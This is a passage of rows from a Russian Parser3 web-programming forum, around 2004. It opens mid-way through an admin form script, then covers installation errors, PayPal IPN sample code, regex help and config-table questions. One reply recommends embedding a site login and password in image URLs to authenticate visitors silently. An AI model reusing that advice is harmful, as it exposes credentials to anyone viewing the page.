<textarea id=\"id_cont\" rows=\"30\" cols=\"64\" style=\"overflow:visible\" name=\"in\" onChange=\"check()\">$body</textarea><br>\
\
<input type=\"submit\" value=\"ok\" name=\"ok\">\
</fieldset>\
</form>\
\
^if(def $form:ok && def $form:in && def $form:fullname){\
\
$id[^math:random(999)]\
^while(^txtlist.locate[id;$id]){$id[^math:random(999)]}\
$in[$form:in]\
$fullname[$form:fullname]\
$in[^in.match[\\t][g]{ }]\
^in.save[/txt/textin]\
$tbl[^table::load[nameless;/txt/textin]]\
^file:delete[/txt/textin]\
\
$div[^math:random(999)] \
\
<form method=POST name=\"two\">\
<fieldset>\
\
<legend>Naujo teksto atributai</legend>\
\
<input type=\"hidden\" name=\"id\" value=\"$id\">\
<input type=\"hidden\" name=\"fullname\" value=\"$fullname\">\
<input type=\"hidden\" name=\"div\" value=\"$div\">\
\
<table>\
<thead>\
\
<tr>\
<td>Nr.</td>\
<td>Tekstas</td>\
<td>Teksto tipas</td>\
</tr>\
</thead>\
\
<tbody>\
\
^tbl.menu{\
\
$body[$tbl.0]\
$line[^tbl.line[]]\
$len(^body.length[])\
$rows($len/50)\
\
<tr>\
<td>$line</td>\
<td><label id=\"id_txt_$line\">$body</label>\
<input id=\"id_txt_$line\" type=\"hidden\" name=\"out\" value=\"$line/$div/$body\">\
\
<fieldset>\
<legend>Nuortauka</legend>\
\
<input type=\"file\" col=\"20\" name=\"$line\">\
<label for=\"id_pos_$line\">Pozicija</label>\
<select id=\"id_pos_$line\" name=\"position\">\
^if($rows>=4){<option value=\"$line/$div/nw\">Kaire-virsuje</option>\
<option value=\"$line/$div/ne\">Desine-virsuje</option>}\
^if($rows>=10){\
<option value=\"$line/$div/w\">Kaire-vidurije</option>\
<option value=\"$line/$div/e\">Desine-vidurije</option>\
}\
^if($rows>=4){<option value=\"$line/$div/sw\">Kaire-apacijoi</option>\
<option value=\"$line/$div/se\">Desine-apacijoi</option>}\
<option value=\"$line/$div/bigd\">Didelis apacijoi</option>\
<option value=\"$line/$div/bigu\">Didelis virsui</option>\
</select>\
</fieldset> \
\
</td>\
\
<td>\
<select id=\"id_class_$line\" name=\"class\">\
^if($rows<=2){\
<option value=\"$line/$div/header\" name=\"class\">Header</option>\
<option value=\"$line/$div/subheader\" name=\"class\">Subheader</option>\
<option value=\"$line/$div/sign\" name=\"class\">Signature</option>\
<option value=\"$line/$div/plain\" name=\"class\">Paprastas</option>\
<option value=\"$line/$div/exp\" name=\"class\">&#352;ukis</option>\
}{\
<option value=\"$line/$div/plain\" name=\"class\">Paprastas</option>\
<option value=\"$line/$div/anno\" name=\"class\">Anotacija</option>\
<option value=\"$line/$div/paragraph\" name=\"class\">Paragraph</option>\
}\
</select>\
</td>\
\
</tr>\
}\
</tbody>\
</table>\
<input type=\"submit\" value=\"next\" name=\"next\">\
</fieldset>\
</form>\
\
^if(def $form:next){\
\
$id[$form:id]\
\
$fullname[$form:fullname]\
\
$div[/$form:div/]\
\
$out[$form:tables.out]\
\
$position[$form:tables.position]\
\
$class[$form:tables.class]\
\
$position[^divtables[$position;$div]]\
\
$class[^divtables[$class;$div]]\
\
$mix[^divtables[$out;$div]]\
\
$chmix[^table::create{id value position class}]\
\
^mix.menu{\
$line[$mix.id]\
^chmix.append{$mix.id $mix.value ^if(^position.locate[id;$mix.id]){$position.value} ^if(^class.locate[id;$mix.id]){$class.value}}\
\
$pic[$form:$line] \
^if(def $pic){\
\
^pic.save[binary;/txt/$id/photo/${line}.jpg]}\
}\
\
$mix[$chmix]\
\
^txtlist.append{$id $fullname}\
\
^txtlist.save[/txt/list.cfg]\
\
^mix.save[/txt/$id/text.tbl]\
\
$response:location[/admin/text.html]\
\
}\
\
}\
\
</div>\
</body>\
</html>\
[/code]"
"34596","ошибка, правда, должна быть совсем другой.\
\
положите test.txt файлик и обратитесь к нему, что будет?"
"34597","спасибо за ответ.\
Я пробовал index.htm (парсер настроен на html файлы) - работает.\
А почему /~тут/ не работает?"
"34598",":) Тоже долго парился. Сначала забыл, что заливать его надо туда в бинарном режиме, потом проблемы с библиотекой были. Но с грехом пополам поставил.\
1. Проверь в каком режиме заливаешь. Нужно в бинарном.\
2. Если не поможет попробуй другую версию поставить.\
\
P.S. версия которая здесь лежит вроде работает."
"34599","3.1.3, Win32, Apache XML и CGI XML\
\
[code]\
^mail:send[\
# ...\
  [b]$.date[^date::now[]][/b]\
# ...\
]\
[/code]\
не добавляет ничего. (Локальному почтовый сервер заголовки оставляет прежними.)"
"34600","это уже обсуждалось."
"34601","bugfix: mail:send[$.date[]] were ignored [since 3.0.4]\
\
увы, почему такая глупая ошибка имела место, не понял. к сожалению, в нужном месте в CVS комментариев нет."
"34602","моя глупая ошибка. сожалею, что наезжал не разобравшись."
"34603","спасибо!"
"34604","Со стороннего сайта вырезается несколько картинок <img ...>\
и выводятся на текущей странице, здесь не возникло бы никаких проблем если бы в теге img в явном виде был прописан к ним путь\
[code]\
<img src=\"http://site.ru/pic.gif\">\
[/code]\
но в данном случае путь является ссылкой на редирект, который к тому же требует авторизации\
[code]\
<img src=\"http://site.ru/redirect/112033434\">\
[/code]\
я вытаскивал с него http заголовки методом\
[code]\
$f[^file::load[binary;http://site.ru/redirect/112033434;$.any-status(1) $.user[log] $.password[psw]]]\
после чего находил реальную ссылку на картинку\
$f.LOCATION\
[/code]\
минусом такого способа является то, что приходится для каждого изображения вытаскивать путь к файлу и затем подменять его в теге img, думаю гораздо проще и эффективнее было бы один раз незаметно авторизовать пользователя и дать ему возможность свободно заходить даже на страницы редиректа http://site.ru/redirect/112033434, без дополнительной http авторизации.\
\
Еще хочу заметить маленький нюанс, картинки берутся с разных сайтов и под разными логинами.\
Собственно целью этой работы было упрощение авторизации, чтобы пользователь не вводил каждый раз новый логин и пароль, а один раз авторизовался и видел все файлы сразу."
"34605","Я хочу узнать как поисковый робот индексирует сайт.\
Если, допустим, есть некая страница индекс.штмл с парсеровским шаблоном, который формирует страницу выбирая данные из базы.\
Будет ли такая страница индексироваться?\
А если страница получает входные данные, которые определяют ее содержимое, как в этом случае проходит индексация? Вся ли страница индексируется?\
Как в таких ситуациях работает поисковый робот?"
"34606","Когда появится собранный Parser без ошибки?"
"34607","[code]\
<img src=\"http://[color=\"#ff0000\"]log:psw@[/color]site.ru/redirect/112033434\">\
[/code]\
\
только проверьте во всех доступных браузерах, работает-ли так как надо..."
"34609","А вообще это уже не раз обсуждалось. Поиск слева."
"34610","http://lists.freebsd.org/pipermail/freebsd-ports-bugs/2004-March/029170.html\
\
Наши уже там? :)"
"34612","/usr/libexec/ld-elf.so.1: Shared object \"libc.so.4\" not found\
\
Что это означает?"
"34614","Объясните плиз какой скрипт ?? PHP, или чё другое? Дело в том, что я в ПХП ваще не разбираюсь. Опишите всё как можно подробнее, ПЛИЗ!!!!!"
"34615","И вот тут тоже все просто: http://www.parser.ru/forum/?id=9152\
\
Но сначала — документация.\
\
ПостСкриптум:\
[b]Читайте доки, они рулят.[/b]"
"34616","Кто как думает. Что лучше <tr><td height=1></td></tr> или <tr><td height=1><img src=/space.gif height=1></td></tr>. А может быть вообще без разницы как делать?"
"34617","Ребята помогите переделать нижеприведенный код (один и тотже на Перле и ПХП) на парсер или расскажите как его запустить на Парсере\
\
[b]Pearl[/b]\
\
[code]\
(requires LWP::UserAgent)\
\
#!/usr/bin/perl\
\
# read post from PayPal system and add 'cmd'\
read (STDIN, $query, $ENV{'CONTENT_LENGTH'});\
$query .= '&cmd=_notify-validate';\
\
# post back to PayPal system to validate\
use LWP::UserAgent;\
$ua = new LWP::UserAgent;\
$req = new HTTP::Request 'POST','http://www.paypal.com/cgi-bin/webscr';\
$req->content_type('application/x-www-form-urlencoded');\
$req->content($query);\
$res = $ua->request($req);\
\
# split posted variables into pairs\
@pairs = split(/&/, $query);\
$count = 0;\
foreach $pair (@pairs) {\
($name, $value) = split(/=/, $pair);\
$value =~ tr/+/ /;\
$value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack(\"C\", hex($1))/eg;\
$variable{$name} = $value;\
$count++;\
}\
\
# assign posted variables to local variables\
$item_name = $variable{'item_name'};\
$item_number = $variable{'item_number'};\
$payment_status = $variable{'payment_status'};\
$payment_amount = $variable{'mc_gross'};\
$payment_currency = $variable{'mc_currency'};\
$txn_id = $variable{'txn_id'};\
$receiver_email = $variable{'receiver_email'};\
$payer_email = $variable{'payer_email'};\
\
if ($res->is_error) {\
# HTTP error\
}\
elsif ($res->content eq 'VERIFIED') {\
# check the $payment_status=Completed\
# check that $txn_id has not been previously processed\
# check that $receiver_email is your Primary PayPal email\
# check that $payment_amount/$payment_currency are correct\
# process payment\
}\
elsif ($res->content eq 'INVALID') {\
# log for manual investigation\
}\
else {\
# error\
}\
print \"content-type: text/plain\\n\\n\";\
 \
Back to top \
[/code]\
\
[b]PhP 4.1 [/b]\
[code]\
// read the post from PayPal system and add 'cmd'\
$req = 'cmd=_notify-validate';\
\
foreach ($_POST as $key => $value) {\
$value = urlencode(stripslashes($value));\
$req .= \"&$key=$value\";\
}\
\
// post back to PayPal system to validate\
$header .= \"POST /cgi-bin/webscr HTTP/1.0\\r\\n\";\
$header .= \"Content-Type: application/x-www-form-urlencoded\\r\\n\";\
$header .= \"Content-Length: \" . strlen($req) . \"\\r\\n\\r\\n\";\
$fp = fsockopen ('www.paypal.com', 80, $errno, $errstr, 30);\
\
// assign posted variables to local variables\
$item_name = $_POST['item_name'];\
$item_number = $_POST['item_number'];\
$payment_status = $_POST['payment_status'];\
$payment_amount = $_POST['mc_gross'];\
$payment_currency = $_POST['mc_currency'];\
$txn_id = $_POST['txn_id'];\
$receiver_email = $_POST['receiver_email'];\
$payer_email = $_POST['payer_email'];\
\
if (!$fp) {\
// HTTP ERROR\
} else {\
fputs ($fp, $header . $req);\
while (!feof($fp)) {\
$res = fgets ($fp, 1024);\
if (strcmp ($res, \"VERIFIED\") == 0) {\
// check the payment_status is Completed\
// check that txn_id has not been previously processed\
// check that receiver_email is your Primary PayPal email\
// check that payment_amount/payment_currency are correct\
// process payment\
}\
else if (strcmp ($res, \"INVALID\") == 0) {\
// log for manual investigation\
}\
}\
fclose ($fp);\
}\
?>\
 \
Back to top \
[/code]"
"34619","Никак не могу найти в Интернете нормального руководства по SQL.\
Знаю, что лучше не портить глаза и читать обычную книгу, однако нормальные книги (т.е. не для чайников) стоят ой-ой сколько (мне не по карману).\
Посему прошу помочь.\
Мне необходимо знать, существуют ли команды для получения списка всех таблиц из БД или поиска по базе.\
Если кто знает книгу по SQL, где язык был бы описан в подробностях, -- прошу поделиться информацией. (Желательно ссылкой, но можно и просто названием, если уж в Инете действительно нет ничего подобного)\
Заранее благодарю за ответы!"
"34621","На сайте необходимо использовать строчку типа этой\
<a href=\"byabc.html?^taint[uri][$abctable.sign]\">$abctable.sign</a>\
поскольку $abctable.sign может быть русской буквой, а если она русская, то ругается апач\
\
в byabc.html из русской буквы получаю шестнадцатеричный код\
\
вопрос как мне обратно получить русскую букву?"
"34622","Народ! Вот какое дело: снял хостинг, установил на нем парсер - все работало. ОПерационка на сервере - Линух. Все прекрасно работало месяц, а вчера стало выдавать вот что:\
http://www.associate.noff-dies.com/\
В логах ошибок написано вот что:\
[quot][Sun Nov 14 02:55:06 2004] [error] [client 81.2.58.179] [/quot]File does not exist: /home/noffdie/public_html/associate/404.shtml[/quot]\
[quot][Sun Nov 14 02:55:06 2004] [error] [client 81.2.58.179] File does not exist: /home/noffdie/public_html/associate/favicon.ico[/quot]\
[quot][Sun Nov 14 02:55:05 2004] [error] [client 81.2.58.179] File does not exist: /home/noffdie/public_html/associate/500.shtml[/quot]\
[quot][Sun Nov 14 02:55:05 2004] [error] [client 81.2.58.179] Premature end of script headers: /home/noffdie/public_html/associate/cgi-bin/parser3.cgi[/quot]\
[quot][Sun Nov 14 02:55:05 2004] [error] (11)Resource temporarily unavailable: exec of /home/noffdie/public_html/associate/cgi-bin/parser3.cgi failed[/quot]\
\
\
У файла parser3.cgi - права 744\
\
В файле .htaccess\
# назначение обработчиком .html страниц:\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.cgi\
\
# запрет на доступ к .cfg и .p файлам:\
\
Order allow,deny\
Deny from all\
\
\
Так что вроде всё правильно. В чем еще может быть проблема?"
"34623","Народ, разжуйте как создать cfg файл, а также как там делать таблицу? (что это за знак \"табуляция\" и \"перевод каретки\") А также можно ли самому установить на www.holm.ru (agava) parser?"
"34624","к которой вы будете обращаться ($form:имя)\
Если внутри неё окажется русский, он сам автоматом конвертится."
"34626","В результате [i]таблица[/i] с данными образуется?\
А что насчет поиска?"
"34628","правой кнопкой по мыше - создать файл txt, расширение сменить на cfg, зайти в него и написать например:\
[code]\
name	age\
Вася	24\
Петя	32\
Коля	19\
[/code]\
То, что между, например, Вася и 24 зовется табуляцие...\
Табляция - это кнопка с надписью Tab на вашей клавиатуре..."
"34629","Во-первых, Pearl = Perl, а PhP - PHP :), и во-вторых: http://www.parser.ru/docs/lang/filecgiexec.htm\
\
ПостСкриптум\
Да, кстати, есть еще поиск по форуму, он слева."
"34630","На этом сайте есть такой интересный раздел... Называется [url=\"http://www.parser.ru/links/\"]полезные ссылки[/url] :)"
"34631","Понял, заткнулся! А вообще то вопрос и правда глупый! А как насчет Agava? Уж это то не так уж и глупо!"
"34632","Ага, а то что находиться между «24» и «Петя» — зовется переводом каретки (&#010;)\
\
:)"
"34633","Если хостинг (Agava) позволяет запускать свои cgi-скрипты написанные [b]не[/b] на Perl, тогда можно.\
\
Как? Читаем [url=\"http://www.parser.ru/faq/install/\"]Faq / Вопросы по установке[/url]"
"34634","дык нет там никакой формы...\
просто мне удобно так данные передавать"
"34635","Как установить parser на denver?"
"34636","...что у вас нету формы, просто данные, передаваемые post или get запросом можно выцепить через $form:имя_переменной, то есть получается так:\
\
[code]\
<a href=\"?test=simple\">передать этой же странице переменную text, со значением simple</a>\
\
Получаем значение переменной test:\
<b>$form:test</b>\
[/code]"
"34637","Учусь пользоваться регулярными выражениями, застрял на месте.\
Пробую разобрать следующий html:\
[code]\
............\
<tr><td bgcolor=\"#6699FF\"><b><a href=\"/message/213/191416/\" class=\"mes\" target=_blank><font size=\"2\" color=\"white\">Сушка и строжка пиломатериалов на заказ</font></a></b></td></tr><tr><td><strong>Валерий Павлович&nbsp;&nbsp;[&nbsp;<a href=\"mailto:timber@idbh.ru\">timber@idbh.ru</a>&nbsp;]&nbsp; <a href=\"/message/213/191416/?reply\">ответить</a> &nbsp;10:43:01 12/11/2004</strong></td></tr><tr><td>Москва&nbsp;&nbsp;&nbsp;<a href=\"/go?z=52&i=191416&u=http://www.lesmir.ru\" target=\"_blank\">http://www.lesmir.ru</a>&nbsp;&nbsp;&nbsp;(095) 508-92-15</td></tr><tr><td>Производственная фирма ООО \"Лесной мир\" оказывает услуги <br />\
по сушке древесины и принимает заказы на обработку обрезных <br />\
и не обрезных пиломатериалов для изготовления строганных<br />\
изделий (половая доска, евровагонка, погонажные изделия). <br />\
Обработка производится на немецком оборудовании.<br />\
Контактные телефоны: (095) 8-916-684-44-02, 518-79-59, 508-92-15.</td></tr><tr><td>&nbsp;</td></tr><tr><td><font size=\"2\">&lt;&lt; Пред. | <b><b class=\"oline\">1-10</b></b> | <a id=\"linkoline\" href=\"/catalogue/213/10/\"><b class=\"oline\">11-20</b></a> | <a id=\"linkoline\" href=\"/catalogue/213/20/\"><b class=\"oline\">21-30</b></a> | <a id=\"linkoline\" href=\"/catalogue/213/30/\"><b class=\"oline\">31-40</b></a> | <a id=\"linkoline\" href=\"/catalogue/213/40/\"><b class=\"oline\">41-50</b></a> | <a id=\"linkoline\" href=\"/catalogue/213/50/\"><b class=\"oline\">51-60</b></a> | <a id=\"linkoline\" href=\"/catalogue/213/60/\"><b class=\"oline\">61-70</b></a> | <a id=\"linkoline\" href=\"/catalogue/213/70/\">Дальше &gt;&gt;</a></font></td></tr><tr><td align=\"center\"><b><br><p><span style=\"font-size:11pt;\"><a href=\"/catalogue/213/_add\">Добавить новое объявление</a></span><br></p></b></td></tr></table><br><br></td>\
<td><img src=\"/images/pixel.gif\" border=0 width=10 height=1 alt=\"\"></td>\
<td bgcolor=\"#6699FF\"><img src=\"/images/pixel.gif\" border=0 width=1 height=1 alt=\"\"></td>\
<td><img src=\"/images/pixel.gif\" border=0 width=10 height=1 alt=\"\"></td>\
............\
[/code]\
\
написал следующее:\
[code]\
$mtc[^str.match[\\<tr\\>\\<td bgcolor=\"#6699FF\"\\>\\<b\\>\\<a.+\\>\\<font size=\"2\" color=\"white\"\\>(\\w.+)]]\
[/code]\
получается:\
Сушка и строжка пиломатериалов на заказ ............и все отсальное.\
Пытаюсь убрать все после слова заказ, но ничего не получается.\
Если не сложно, подскажите что надо дописать, чтобы все удалить после слова \"заказ\"."
"34641","$mtc[^str.match[\\<tr\\>\\<td bgcolor=\"#6699FF\"\\>\\<b\\>\\<a.+\\>\\<font size=\"2\" color=\"white\"\\>(\\w.+)[^^\\<]]]\
Извини, если задаю тупой вопрос, я пока 0 в регэкспах...\
Так?\
Попробовал - все осталось"
"34642","мне кажется проблема в этом:(\\w.+). Получается перебор всех символов после слова \"Сушка\".\
Хотя я не уверен..."
"34643","[i]Что я делаю не так?\
\
Я создал файл [b]sections.cfg[/b] с таблицей:[/i]\
\
selection_id	name		uri\
1		главная		/\
2		новости		/news/\
3		контакты	/contacts/\
4		цены		/price/\
5		ваше мнение	/gbook/\
\
[i]и файл auto.p в котором содержится вот это:[/i]\
\
[code] @navigation[]\
$sections[^table::load[section.cfg]]\
<table wight=\"100%\" border=\"1\">\
	<tr>\
	^sections.menu{\
		<td align=\"middle\">\
		<a href=\"$sections.uri\"><nobr>$sections.name</nobr> </a>\
		</td>\
	}\
	</tr>\
</table>\
[code/]\
\
[i]далее создал HTML страницу и написал там вот это:[/i]\
\
[code] <!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\">\
\
<html>\
<head>\
	<title>first</title>\
</head>\
\
<body>\
\
^navigation[]\
\
\
</body>\
</html> [code/]\
\
[i]Все сохранил в папке D:\\denver\\home\\www.27.ru , так как у меня стоит Denver.\
При запросе на http://www.27.ru ничего не появляется! В чем причина?[/i]\
[b] Parser работает! Это точно![/b]"
"34645","1. Проверьте стоит ли <TAB> между\
selection_id name uri\
1 главная /\
2 новости /news/\
3 контакты /contacts/\
4 цены /price/\
5 ваше мнение /gbook/\
т.е.\
1   главная   /\
\
2. Страница должна быть html а не htm"
"34646","и еще\
вы написали:\
[quot] Я создал файл sections.cfg с таблицей: [/quot]\
а вызываете файл section.cfg\
[quot]$sections[^table::load[section.cfg]][/quot]"
"34648","моя первая задача (то что пока не получается):\
.....<tr><td bgcolor=\"#6699FF\"><b><a href=\"/message/213/191416/\"\
class=\"mes\" target=_blank><font size=\"2\" color=\"white\">Сушка и строжка пиломатериалов на заказ</font></a></b></td></tr><tr><td><strong>......\
из этого выделить \"Сушка и строжка пиломатериалов на заказ\"\
я сумел выделить только начало.\
Как выделить конец этой фразы?\
[code]\
$mtc[^str.match[\\<tr\\>\\<td bgcolor=\"#6699FF\"\\>\\<b\\>\\<a.+\\>\\<font size=\"2\" color=\"white\"\\>(\\w.+)]]\
[/code]"
"34649","1)На приведенный ниже код выдает указанную ошибку:\
Если просто указываю $.charset[windows-1251] выдает 'WINDOWS-1252' unknown charset\
Смотрел на форуме, обсуждение 'WINDOWS-1251' unknown charset и пробовал вариант в auto.p $.[windows-1251][$charsetsdir/windows-1251.cfg]. НЕ помогает ( спробелом и без) - выдает тогда - 'WINDOWS-1251' unknown charset.\
\
2) Вопрос в догонку: paypal.com при переадресации на мою страницу с этим кодом методом GET передает переменную\
tx - ее нужно передать обратно методом POST вместе с двумя параметрами at=100 и cmd=_notify-synch. Я правильно сделал это в коде?\
\
\
Примечание:\
\
[code]\
$POSTbody[tx=$form:tx&at=100&cmd=_notify-synch]\
\
#### отдаем серверу\
\
$f[^file::load[text;http://www.paypal.com/cgi-bin/webscr;\
	$.method[POST]\
	$.timeout(60)\
	$.charset[windows-1251]\
	$.headers[\
		$.Content-type[application/x-www-form-urlencoded]\
		$.Content-length[^POSTbody.length[]\
\
\
$POSTbody]]]] \
\
\
#### ответ сервера\
\
^taint[as-is][$f.text]\
\
#########\
^f.foreach[key;value]{\
	$key=$value\
}\
[/code]"
"34650","вырежьте все теги, а потом работайте с текстом."
"34651","у меня немного другая задача. Мне нужно разобрать страницу с сайта, а не конкретный текст. Вообще я делаю скрипт, который будет забирать объявления с другой доски объявлений. Поэтому мне нужно суметь выделить тему, и текст объявлений по тегам (т.е. с помощью анализа закономерностей построения страницы)."
"34652","Задача - выделить из текста только первый h1\
Делаю так: \
^tmp.match[(<h1[^^>]*)>(.+)</h1>][i]{$h1[$match.2]}\
В $h1 включается всё до последнего </h1>, а не содержание первого <h1>...</h1>\
Понимаю, что в (.+) надо как-то вставить исключение \"</h1>\", но как? \
[^^<] не годится."
"34655","А где можно почитать про остальные различия между greedy и не-greedy?"
"34656","1. в главном конфигурационном auto.p, в $CHARSETS допишите:\
[code]$.windows-125[color=\"#ff0000\"]2[/color][$charsetsdir/windows-1251.cfg][/code]\
\
2. так тоже должно работать, однако [url=\"http://www.parser.ru/docs/lang/app1.htm\"]в документации описан более удобный способ[/url] передачи параметров (работает начиная с версии 3.1.2)."
"34658","На ПОСТ запрос сервер отвечает $f.text следующего содержания:\
[quot]\
SUCCESS\
first_name=Jane+Doe\
last_name=Smith\
payment_status=Completed\
payer_email=janiedoesmith%40hotmail.com\
payment_gross=3.99\
mc_currency=USD\
custom=For+the+purchase+of+the+rare+book+Green+Eggs+%26+Ham\
...\
[/quot]\
\
1-я строка 1 слово - Success или Fail\
далее в формате key=value идут переменные. Нужно слово передалать в переменную $status,\
остальные переменные в переменные парсера с теми же именами.\
\
Знаю, что для человека сведущего это легко, для меня неопытного пока сложно. Мне кажеться, что это лучше сделать с [b]foreach[/b], но ума не хватает как закрутить."
"34659","Как она будет выглядеть? Что-то типа $form:tx?"
"34660","/usr/libexec/ld-elf.so.1: Shared object \"libc.so.4\" not found\
\
Что это значит? Кто-нибудь может объяснить?"
"34661","Здравствуйте.\
\
Вот уже месяц бъюсь об парсер, перерыл форум, прочитал кучу информации – все без успеха.\
\
Амбиции при этом минимальные: поставить все на свой PowerBook G4 867 MHz  для дальнейшего знакомства. MySQL стоит 4.1.7-apple-darwin7.5.0-powerpc из binary package. \
 \
Следующая проблема: ставлю парсер, все прописываю, не включаю, правда, строку $SQL.connect-string[mysql://***:***@localhost/test]. Все нормально – тестовая страница работает. Как только включаю эту строку – 500ая ошибка. \
\
Пробовал подключать как Ваши клиентские библиотеки (и ту, которая для \"бинарника\" MySQL, и которая для тех, кто не может из исходников собрать), так и уже проинсталлированную libdl.dylib. \
\
В parser3.cgi.crash.log следующая запись:\
\
Host Name:      BEAR-MONKHs-Computer.local\
Date/Time:      2004-11-14 23:00:57 +0100\
OS Version:     10.3.6 (Build 7R28)\
Report Version: 2\
\
Command: parser3.cgi\
Path:    /Library/WebServer/CGI-Executables/parser3.cgi\
Version: ??? (???)\
PID:     674\
Thread:  0\
\
Exception:  EXC_BAD_ACCESS (0x0001)\
Codes:      KERN_INVALID_ADDRESS (0x0001) at 0x0049b144\
\
Thread 0 Crashed:\
0   <<00000000>> 	0x0049b144 0 + 0x49b144\
1   parser3.cgi 	0x00001ce8 0x1000 + 0xce8\
2   parser3.cgi 	0x00001b58 0x1000 + 0xb58\
\
PPC Thread State:\
  srr0: 0x0049b144 srr1: 0x4200f030                vrsave: 0x00000000\
    cr: 0x44000248  xer: 0x20000004   lr: 0x9002c7b8  ctr: 0x0049b144\
    r0: 0x00001ce8   r1: 0xbffff880   r2: 0xa0008054   r3: 0x00000000\
    r4: 0x00000002   r5: 0x00000010   r6: 0xbfffe270   r7: 0x0021a0d0\
    r8: 0xbfffe270   r9: 0x0020415c  r10: 0x00000001  r11: 0x002129f8\
   r12: 0x0049b144  r13: 0x00000000  r14: 0x00000000  r15: 0x00000000\
   r16: 0x00000000  r17: 0x00000000  r18: 0x00000000  r19: 0x00000000\
   r20: 0x00000000  r21: 0x00000000  r22: 0x00000000  r23: 0x00000000\
   r24: 0x00000000  r25: 0x00000000  r26: 0xbffff994  r27: 0x00000000\
   r28: 0xa000804c  r29: 0xa0008058  r30: 0x00000002  r31: 0x9002c768\
\
Binary Images Description:\
    0x1000 -   0x203fff parser3.cgi 	parser3.cgi\
0x8fe00000 - 0x8fe4ffff dyld 	/usr/lib/dyld\
0x90000000 - 0x90122fff libSystem.B.dylib 	/usr/lib/libSystem.B.dylib\
0x939d0000 - 0x939d4fff libmathCommon.A.dylib 	/usr/lib/system/libmathCommon.A.dylib\
\
\
При этом, если libdl.1.dylib подключаю, то он тоже числится в списке \"Binary Images Description\".\
\
Подсажите, пожалуйста, что я делаю не так."
"34662","да вроде бы. А можно между [b]1 главная /[/b] нажимать не один раз <Tab> а два?\
В HTML странице надо писать только ^navigation[] или все остальное?"
"34663","Следующий код:\
[code]\
 $items[^xdoc::create{<?xml version=\"1.0\" encoding=\"$request:charset\" ?>\
                      <document>\
                       <item id=\"1\">\
                        <subitem id=\"1\"/>\
                       </item>\
                      </document>\
                     }\
       ]\
\
 $items_list[^items.select[/document/item]]\
\
 ^for[j](0;$items_list-1){\
  $node[$items_list.$j]\
  $sub_items[$node.childNodes]\
  ^for[k](0;$sub_items-1){\
   $sub_item[$sub_items.$k]\
   $testvalue[^sub_item.getAttribute[id]]\
  }\
 }\
[/code]\
\
выдает ошибку: method can only be called on nodes of ELEMENT type\
если написать: [code]$sub_items[^node.select[subitem]][/code], то все ОК!\
Это правильно? По документации вроде нет..."
"34664","Купить книжку Д. Фридла - Регулярные выражения (2-е издание)\
\
:)\
\
http://www.books.ru/shop/books/82357"
"34666","У нас сайт есть на сделаный на Parser. Сейчас решили поменять хост. Был раньше на freebsd сейчас решили перейти linux red hat. На новом серваке все настроил Parser 3.1.3 работает как часы без ошибок. Вот когда начинаю ставить движок сайта то появляеться ошибки.\
[Mon Nov 15 09:45:24 2004] /about/: |                                        SELECT page_content FROM content where page='template'|                                (115:8): parse error [parser.compile]\
Самое противное что я не программер. И мучаться с разбиранием устройстве Parser нету времени. У кого нибут есть установленная версия Parser 3.0.0005 под Linux Red Hat CGI скрипт с поддержкой XML и SQL драйвер для MySQL. Очень сильно надо!!!"
"34668","слева есть поиск."
"34669","Однозначно. Выглядень она будет именно как $form:tx, других вариантов нет."
"34670","и не ожидайте, что за вас будут делать вашу работу."
"34671","[code]\
#   $testvalue[^sub_item.getAttribute[id]]\
$sub_item.nodeType\
[/code]\
http://www.parser.ru/docs/lang/dom_nodetype.htm\
\
печатает \
[code]3 1 3[/code]"
"34672","Если в строке нет ни одного tab-а, значит в этой строке только одна ячейка, если есть только один tab, значит в этой строке две ячейки, между которыми, собственно, и находиться tab. И так далее. Можно ставить между данными два tab-а подряд, но тогда будет три ячейки, вторая из которых будет пустой.\
\
Вот вам пожалуйста tab-разделенная таблица из примера:\
\
[code]\
selection_id	name	uri\
1	главная	/\
2	новости	/news/\
3	контакты	/contacts/\
4	цены	/price/\
5	ваше мнение	/gbook/\
[/code]\
\
Кстати, в Вашем сообщении между столбцами были пробелы, а должны были быть те самые tab-ы :)\
\
\
Что значит «все остальное»? Вы, вроде бы, уже написали всю обертку (html, body и прочее...)\
\
ПостСкриптум.\
Вам будет гораздо проще изучить парсер сев и разобравшись с уроками самому. Уроки — самое простое. А если за Вас будут искать ошибки другие, то Вы так и не научитесь их выявлять сам. Могу еще посоветовать быть чуточку внимательнее (это я про section.cfg и section[b]s[/b].cfg) :)"
"34673","или разбирайтесь сами.\
\
насчёт времени: если вы не программер, то это не ваша проблема, а проблема менеджера, организующего процесс. не переживайте так."
"34674","Спасибо, просто уже намучался за последнее время и нервы здают!"
"34675","Нда, сколько уже случаев в моей жизни, что переносы строк и пробелы становились причинами закавык, что наверное пора уже вводить правило - \"Не работает - проверь не виноваты ли переносы строк или пробелы\" :)"
"34676","1. В один ли каталог надо сохранять файлы auto.p, *.cfg, *.html? Какой каталог это должен быть? WWW? Или какой другой?\
2. Не могли бы вы превисти пример HTML сранице в которую закружается parser?\
3. Как можно проверить 100% работоспособность Parser? У меня он стоит на Denver'e!\
            Заранее благодарю."
"34677","[b]1.[/b] В корневой каталог сервера (пример: «z:\\home\\site\\www\\»)\
\
[b]2.[/b] Как кружится парсер вполне ясно из документации. И если ей следовать не отклоняясь ни на шаг, то кружиться он будет. Вы [b].htaccess[/b] создали ведь, да?\
\
[b]3.[/b] Написать в строке браузера: «http://site/cgi-bin/parser.exe» Хм. Только, наверное, его сначала надо туда скопиросать. На Денвере он стоит глобально: cgi-glob.\
\
Вариант: запустить что-нибудь вроде Far-а, и запустить из него parser.exe, потом нажать ctrl+o (временно убирает обе панели) и посмотреть что написал парсер. Должен написать свою версию и еще что-то вроде того."
"34678","1. Все в одну папку, и туда же кинуть .htaccess. Так как в Денвере стандартно идет тестовая страница для Парсера. С помощью нее можно проверить работоспособность. А также из той папки в корень, где находятся *.p, *.html и другие файлы, нужно кинуть .htaccess, так как там прописан путь к обработчику."
"34679","такая проблема возникла: сделать хеш таблиц, но не из таблицы, а в коде. Как сделать в голову не приходит ни в какую... :( В доках не нашел... если есть, ткните мордом...\
\
ЗЫ или может лучше и быстрее сначала table::create, а потом в хеш с $.distinct[tables]?\
\
ЗЫЗЫ простой хеш не подходит, т.к. таблицы должны выводиться рекурсивно. Что-то вроде того, как в примере с деревьями.\
\
Спасибо."
